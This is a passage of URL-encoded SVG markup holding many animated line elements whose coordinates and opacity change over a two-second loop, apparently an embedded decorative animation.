ur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22538.9658%22%20y1%3D%22253.3418%22%20x2%3D%22531.0605%22%20y2%3D%22252.8601%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B550.8828%3B564.1715%3B579.0834%3B595.935%3B615.1314%3B637.1984%3B637.1984%3B637.1984%3B637.1984%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B254.0679%3B254.8776%3B255.7862%3B256.813%3B257.9826%3B259.3272%3B259.3272%3B259.3272%3B259.3272%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B538.9658%3B550.8828%3B564.1715%3B579.0834%3B595.935%3B615.1314%3B641.7481%3B641.7481%3B641.7481%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B253.3418%3B254.0679%3B254.8776%3B255.7862%3B256.813%3B257.9826%3B259.6044%3B259.6044%3B259.6044%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22522.4433%22%20y1%3D%22414.9258%22%20x2%3D%22520.3145%22%20y2%3D%22413.0864%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B533.161%3B545.077%3B558.4042%3B573.4089%3B590.4291%3B590.4291%3B590.4291%3B590.4291%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B424.1867%3B434.483%3B445.9986%3B458.9638%3B473.6706%3B473.6706%3B473.6706%3B473.6706%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B522.4433%3B533.161%3B545.077%3B558.4042%3B573.4089%3B598.8891%3B598.8891%3B598.8891%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B414.9258%3B424.1867%3B434.483%3B445.9986%3B458.9638%3B480.9806%3B480.9806%3B480.9806%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22287.6831%22%20y1%3D%22165.6036%22%20x2%3D%22288.8406%22%20y2%3D%22168.2683%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B285.9248%3B283.9642%3B281.7642%3B279.2782%3B276.4464%3B273.1913%3B269.4103%3B264.9648%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B161.556%3B157.0425%3B151.978%3B146.2549%3B139.7358%3B132.2422%3B123.5381%3B113.3043%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B287.6831%3B285.9248%3B283.9642%3B281.7642%3B279.2782%3B276.4464%3B273.1913%3B269.4103%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B165.6036%3B161.556%3B157.0425%3B151.978%3B146.2549%3B139.7358%3B132.2422%3B123.5381%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22531.8505%22%20y1%3D%22452.3198%22%20x2%3D%22522.5804%22%20y2%3D%22443.0292%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B543.4775%3B556.4549%3B556.4549%3B556.4549%3B556.4549%3B556.4549%3B556.4549%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B463.9726%3B476.9788%3B476.9788%3B476.9788%3B476.9788%3B476.9788%3B476.9788%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B531.8505%3B543.4775%3B559.9294%3B559.9294%3B559.9294%3B559.9294%3B559.9294%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B452.3198%3B463.9726%3B480.4609%3B480.4609%3B480.4609%3B480.4609%3B480.4609%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22195.9823%22%20y1%3D%22403.1099%22%20x2%3D%22198.3392%22%20y2%3D%22400.01%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B189.3567%3B181.9832%3B173.7277%3B164.4216%3B153.851%3B141.7393%3B141.7393%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B411.8239%3B421.5216%3B432.3795%3B444.6189%3B458.5215%3B474.4511%3B474.4511%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B195.9823%3B189.3567%3B181.9832%3B173.7277%3B164.4216%3B153.851%3B136.5549%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B403.1099%3B411.8239%3B421.5216%3B432.3795%3B444.6189%3B458.5215%3B481.2696%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2285.7677%22%20y1%3D%22343.8127%22%20x2%3D%2290.4687%22%20y2%3D%22341.7292%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2285.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B73.2396%3B59.2957%3B43.6815%3B26.0778%3B6.0784%3B6.0784%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B349.3652%3B355.5452%3B362.4655%3B370.2675%3B379.1313%3B379.1313%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2290.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B85.7677%3B73.2396%3B59.2957%3B43.6815%3B26.0778%3B-1.3332%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B343.8127%3B349.3652%3B355.5452%3B362.4655%3B370.2675%3B382.4162%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22540.2851%22%20y1%3D%22384.7863%22%20x2%3D%22533.6413%22%20y2%3D%22380.4196%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B552.1964%3B565.4695%3B580.3521%3B597.1557%3B616.2781%3B638.2348%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B392.6152%3B401.3392%3B411.121%3B422.1655%3B434.7341%3B449.1655%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B540.2851%3B552.1964%3B565.4695%3B580.3521%3B597.1557%3B616.2781%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B384.7863%3B392.6152%3B401.3392%3B411.121%3B422.1655%3B434.7341%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22499.6837%22%20y1%3D%22279.3354%22%20x2%3D%22497.9905%22%20y2%3D%22278.9647%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B509.1854%3B519.7482%3B531.5602%3B544.857%3B559.9374%3B577.1859%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B281.4155%3B283.7278%3B286.3137%3B289.2245%3B292.5258%3B296.3018%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B499.6837%3B509.1854%3B519.7482%3B531.5602%3B544.857%3B559.9374%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B279.3354%3B281.4155%3B283.7278%3B286.3137%3B289.2245%3B292.5258%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22204.1151%22%20y1%3D%2255.1698%22%20x2%3D%22205.6485%22%20y2%3D%2257.6155%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B197.9621%3B191.1191%3B183.4632%3B174.8402%3B174.8402%3B174.8402%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2255.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B45.3562%3B34.442%3B22.2312%3B8.478%3B8.478%3B8.478%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B204.1151%3B197.9621%3B191.1191%3B183.4632%3B169.0226%3B169.0226%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2257.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B55.1698%3B45.3562%3B34.442%3B22.2312%3B-0.8007%3B-0.8007%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22566.617%22%20y1%3D%22378.2402%22%20x2%3D%22565.3494%22%20y2%3D%22377.5296%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B579.5991%3B594.024%3B610.1462%3B628.2841%3B628.2841%3B628.2841%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B385.5173%3B393.603%3B402.6403%3B412.8074%3B412.8074%3B412.8074%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B566.617%3B579.5991%3B594.024%3B610.1462%3B641.0282%3B641.0282%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B378.2402%3B385.5173%3B393.603%3B402.6403%3B419.9511%3B419.9511%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22161.9603%22%20y1%3D%22143.1329%22%20x2%3D%22166.0411%22%20y2%3D%22145.6342%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B153.4549%3B143.9818%3B133.3662%3B121.3879%3B107.7666%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B137.9197%3B132.1134%3B125.6068%3B118.2649%3B109.9161%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B161.9603%3B153.4549%3B143.9818%3B133.3662%3B121.3879%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B143.1329%3B137.9197%3B132.1134%3B125.6068%3B118.2649%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22177.0424%22%20y1%3D%22224.3612%22%20x2%3D%22179.4613%22%20y2%3D%22224.6258%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B169.4221%3B160.9435%3B151.4532%3B140.7586%3B128.6148%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B223.5276%3B222.6%3B221.5619%3B220.3919%3B219.0634%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B177.0424%3B169.4221%3B160.9435%3B151.4532%3B140.7586%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.3612%3B223.5276%3B222.6%3B221.5619%3B220.3919%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22628.2665%22%20y1%3D%2295.1047%22%20x2%3D%22616.843%22%20y2%3D%22100.4741%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B640.263%3B640.263%3B640.263%3B640.263%3B640.263%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B100.4741%3B89.466%3B89.466%3B89.466%3B89.466%3B89.466%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2288.3489%22%20y1%3D%22445.5165%22%20x2%3D%2293.8813%22%20y2%3D%22440.6083%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2288.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B88.3489%3B75.9079%3B62.0547%3B62.0547%3B62.0547%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B445.5165%3B456.554%3B468.8442%3B468.8442%3B468.8442%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2293.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B93.8813%3B88.3489%3B75.9079%3B48.92%3B48.92%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B440.6083%3B445.5165%3B456.554%3B480.4971%3B480.4971%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B